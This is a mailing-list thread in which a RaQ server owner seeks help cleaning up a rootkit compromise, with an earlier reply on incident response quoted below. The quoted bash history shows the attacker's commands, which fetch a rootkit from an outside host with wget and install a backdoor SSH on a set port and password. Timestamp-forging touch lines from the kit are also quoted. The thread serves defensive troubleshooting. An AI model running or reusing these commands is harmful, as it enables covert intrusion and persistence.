[cobalt-users] SSH stops after login

["Adam Knowles" <adam@xxxxxxxxxxxxxxx>]

Steve / people interested in compromised Raqs (should I post on
[cobalt-security]?)..

I tried rebooting my server. Now I can't login properly on SSH. I can
SSH and get the password prompt. I type the correct password and get
logged in, but get the message on the terminal:
"Could not chdir to home directory /home/sites/home/users/admin: No such
file or directory"

It stops and won't go to a command prompt. Email and ping work, but all
websites on the server are not available. Is there anyway to get past
the shell error message and get back to a command prompt?

Thanks again to Steve Werby for the email sent before Christmas. Though
it was rootkitted, I left the server on the network over Christmas to
see what happened, since there was no nefarious activity after the
rootkit was installed. 

If nothing happened, no problem, and if it did, then I'd be interested
in finding out to further my knowledge of sorting hacked servers. Not
the most responsible thing to do, but I gotta learn somehow?

Today I discovered the Raq was being used as a spam relay. It stopped
sending legitimate mail..a user complained and that's how I found out.
'ps -aux' showed lots of sendmail processes. mail -v on your advice,
showed a lot of spam.

I repeated..
/etc/rc.d/init.d/sendmail stop

..until I got an error. But after a few minutes the processes started
spawning again. How can I stop sendmail in its tracks, altogether?

I replaced all the files the rootkit had installed with new RPM versions
from rpmfind.net using 'rpm -i <file.1386.rpm> --force'. And I took some
lines with 't0rn' and other things out of log.h & proc.h. 

After that, chkrootkit reported OK for a change. Still identified the
t0rn rootkit and problems with the Perl installation, but no backdoored
files.

That's when I rebooted the server and now the websites are down! And I
can't get in on SSH.

I'm close to calling in the rebuild on this server now. If I do, what
files should I ask to be backed up for help with the reinstall?  At the
mo I have: 
Directory of /home/sites/
/etc/named/records

Still not sure I'm going to accomplish the restore, since the CMU didn't
do what I needed last time I tried. And since I now can't get to a
shell, I can't use it..? If I can get to a prompt, I'll investigate the
best restore strategy again.

I'm including the previous emails sent at the bottom for reference.
Apologies for top-posting but since the original conversation was weeks
ago I don't want people having to reference archived mail.

Thanks to anybody that can help me with this situation. Quite desperate
now!

Adam Knowles

> -----Original Message-----
> From: cobalt-users-admin@xxxxxxxxxxxxxxx [mailto:cobalt-users-
> admin@xxxxxxxxxxxxxxx] On Behalf Of Steve Werby
> Sent: 17 December 2002 03:12
> To: cobalt-users@xxxxxxxxxxxxxxx
> Subject: Re: [cobalt-users] Root kit raq
> 
> "Adam Knowles" <adam@xxxxxxxxxxxxxxx> wrote:
> > Wondering if any1 has time to help with a hacked raq? I'm not the
most
> > experienced sysadmin, so hopefully this can be some good learning
for
> > me, if anyone's willing to share! Apologies for the long email, but
if
> > any1 can read it I'd appreciate it soo much :)
> >
> > It's a Raq4i 512mb. It got hacked through the flawed SHP package Sun
> > shipped. I hadn't yet applied the SHP-remove package.
> 
> With SHP installed anyone can remotely execute code as root, which
gives
> anyone root level access.
> 
> > You'll see the extent of the break-in later, but the only actual
symptom
> > is mail sent using my server as SMTP never arrives. Local user's
mail is
> > delivered OK. SMTP doesn't give errors; it accepts mail but doesn't
> > deliver it.
> 
> See /var/log/maillog to see what's happening and try mail -v to see
what's
> happening.
> 
> > The hack happened Monday morning at 05.00. Someone got in and
executed
> > the following, taken from BASH history (why didn't they clean this
up?):
> 
> It's so easy to scan for vulnerable machines, download rootkits and
> copy/paste step by step instructions that it requires zero *nix
knowledge
> to
> hack a vulnerable *nix server.  So the hacker may not have known to
cover
> his/her tracks or might not have cared.
> 
> > ------------------------ START SNIP -----------------------------
> >
> >
{.{bash_history,nsr},b{in,oot},dev,etc,gmon.out,home,l{ib,ost+found},mnt
> > ,nsr,opt,proc,root,s{bin,etup},tmp,usr,var$
> > hostname
> > cd /usr/sbin
> > mkdir tmp
> > cd tmp
> > pwd
> > wget http://www.tk-pttuntex.com/~zen/file/tutorial/rkid.tar.gz
> > tar -zxf rkid.tar.gz
> > cd rkid
> > ./setup angina 35353
> > exit
> > ------------------------ END SNIP -----------------------------
> >
> > So they got in to the system, then downloaded rkid.tar.gz. This is a
> > root kit. I downloaded it myself and it calls itself:
"shkit-v4-internal
> > release 2002". Amongst other things, there's three files infected
with a
> > couple of viruses: Linux.Lion.Worm and Trojan.Linux.Hacktop. I know
this
> > since Norton told me when I downloaded the rkid.tar.gz to my Windows
PC.
> > Is there anything I can do about these viruses?
> 
> Since Norton for a PC is designed to check for PC viruses I'd put more
> stock
> in what chkrootkit or similar *nix programs say.
> 
> > The kit installed a new sshd, running on port 35353 with the pass
> > 'angina'.
> >
> > I tried this:
> > /sbin/ipchains -A input -j DENY -p tcp -l -s 0.0.0.0/0 -d
> > my.servers.ip.address/32 35353
> 
> You may have already, but it's a good idea at this point to remove the
> trojaned SSH and kill it.  Use "ps aux", "netstat -an" and lsof to get
> info.
> on what's running.  lsof isn't installed by default so download it and
run
> it.  And since your binaries may be trojanned, I advise downloading
the
> parent RPMs from the Cobalt FTP site and installing them in a
non-standard
> location and using them to determine if yours are trojanned or just
use
> them
> instead of the installed binaries while troubleshooting.  rpm -qf
> <path_to_file>/<file> will tell you the RPM which the file was part
of.
> You
> definitely want md5sum, ps, netstat, ls, top, kill, killall, etc.
> 
> > I added the ipchains line to the bottom of rc.local to make sure it
> > carries over reboots.
> 
> You might want to tighten your existing firewall using IPCHAINS so
that
> the
> only ports which are open are ports you are running a service on and
> possibly a few ports for PortSentry to run in honeypot mode.
> 
> > That stopped telnet and SSH on port 35353 from working.
> 
> I'm not sure if you're saying that the script tries to run SSH on that
> port,
> but has the facility to use a trojaned version of telnet instead.  If
you
> didn't just mean SSH alone I'm curious.
> 
> > Telnet's
> > normally disabled, but had mysteriously become enabled. I disabled
it
> > again.
> 
> Again, if you're firewall is configured properly the telnet port
either
> shouldn't be open or should only be open for a small number of trusted
IPs
> in case telnet access is needed in the event SSH is unavailable.
> 
> > I've stopped access to the hacker's own SSH, and changed the
password
> > for admin and root on my 'real' SSH. Is that enough to stop the
> > immediate threat? Or will they have access to my new passwords
somehow?
> 
> The SHP vulnerability gave anyone access to /etc/shadow and
/etc/passwd
> along with every other file on the server.  So it's possible the
hacker
> has
> access to those files and is cracking them using John the Ripper or a
> similar program.  If you haven't applied the SHP removal PKG the
hacker
> may
> have access to the new passwords.  And just because a trail was left
in
> .bash_history doesn't mean that .bash_history wasn't edited or that
the
> hacker hasn't executed other commands that wouldn't appear in root's
> .bash_history.
> 
> > I got the chkrootkit software to check other stuff.
> > Notable results:
> >
> > [root chkrootkit-0.37]# ./chkrootkit
> >
> > Checking `ifconfig'... INFECTED
> 
> Did it report it was running in promiscuous mode as well (would be
later
> in
> the output)?
> 
> > Checking `login'... INFECTED
> > Searching for t0rn's v8 defaults... Possible t0rn v8 (or variation)
> > rootkit installed
> > Searching for Showtee... Warning: Possible Showtee Rootkit installed
> 
> I would absolutely do a complete restore, change all user passwords,
apply
> all PKGs and then install security software and run it religiously.  I
do
> a
> lot of security work and I always advise clients that a restore is the
> only
> way to be sure that any files installed or modified by a hacker are
> removed.
> With some rootkits I'm comfortable troubleshooting and handling
without a
> restore, but based on what you've shared if it was my box I'd do a
full
> restore.  YMMV.
> 
> > I installed Portsentry 2. Do I need to add that to my rc.local to
make
> > sure it starts up on reboot?
> 
> If there's no file for it in init.d.  I'd use chkconfig to set it up,
but
> rc.local will work too.
> 
> > Found in /etc/passwd & /etc/shadow:
> > sbin:x:0:0::/sbin/services:/bin/bash
> 
> And was there a .bash_history in /sbin/services/?  The UID and GID
were
> 0:0
> which is the same as root's.  That means this user has the same
privileges
> as the root user.  FYI, it's not uncommon for rootkits to modify
binaries
> and syslogd in order to make it difficult to impossible to see what
> commands
> the hacker executed.
> 
> > Seemed to be a user called 'sbin' with root privileges?  Got rid of
it.
> > Should I have done this another way with 'userdel' or something?  Do
I
> > need to restart anything for these changes to be noticed?
> 
> I would have used userdel, but I'd research first to ensure that it
> doesn't
> delete files owned by the same UID.  I'm almost positive it doesn't
> because
> I'm quite sure I've done this before, but YMMV.
> 
> > System logs aren't being generated. How can I sort that? Syslogd
reports
> > it's already running.
> 
> Verify that it's /sbin/syslogd.  I've seen trojans that replace that
with
> /sbin/syslgd or similar which may appear to be correct to the naked
eye.
> But I can't stress enough that I'd do a restore instead of trying to
clean
> the system.
> 
> > The kit added these lines to rc.sysinit. I removed them, but what
did
> > they do?
> >
> > # Xntps (NTPv3 daemon) startup..
> > /usr/sbin/xntps -q
> 
> Not sure, but Google will probably give a clue.
> 
> > And finally..here's all the files the kit backdoor'd:
> >
> > ------------- START SNIP ----------------
> > # time change bitch
> >
> > touch -acmr /sbin/ifconfig ifconfig
> > touch -acmr /bin/ps ps
> > touch -acmr /bin/ls ls
> > touch -acmr /bin/login login
> > touch -acmr /bin/netstat netstat
> > touch -acmr /usr/bin/find find
> > touch -acmr /usr/bin/top top
> > touch -acmr /usr/sbin/lsof lsof
> > touch -acmr /sbin/syslogd syslogd
> > touch -acmr /usr/bin/slocate slocate
> > touch -acmr /usr/bin/dir dir
> > touch -acmr /usr/bin/md5sum md5sum
> > touch -acmr /usr/bin/pstree pstree
> 
> Ah.  I should have read this all the way through before answering.
Until
> you replace with known good versions or install them to a separate
> location
> to troubleshoot you cannot rely on any output from any of the above
> programs...and possibly others installed by later rootkits or
installed
> manually.
> 
> > echo ${RED} baga mare PuiDeDraC jajajaj !!! PuiDeDraC Iz Hackerz!!!
> >
> > ------------- END SNIP --------------------
> >
> > It looks like the damage is pretty serious. I've taken an SQL backup
of
> > the mySQL databases on the server, plus tarballed up the /home/sites
> > directory. If I clean the latter with Norton, order a rebuild from
my
> > datacentre, then upload everything back..is that the best way
forward?
> 
> I'd download the CMU and use it to backup and restore your sites,
users
> and
> email.  See http://sunsolve.sun.com/patches/cobalt/migration.html.
Also,
> grab /etc/named/records and reinstall it after the restore and run
> /usr/admserv/cgi-bin/.cobalt/dns/index.cgi to restore the DNS zone
files.
> This will save you a lot of manual work.
> 
> > And did this really all happen just because I didn't apply the
> > SHP-remove package from Sun in time?
> 
> It's very possible.  But that's not to say your box couldn't have been
> secured more even if SHP was removed.  That would really require an
audit
> by
> someone with experience in security.
> 
> --
> Steve Werby
> President, Befriend Internet Services LLC
> http://www.befriend.com/
> 
> 
> _____________________________________
> cobalt-users mailing list
> cobalt-users@xxxxxxxxxxxxxxx
> To subscribe/unsubscribe, or to SEARCH THE ARCHIVES, go to:
> http://list.cobalt.com/mailman/listinfo/cobalt-users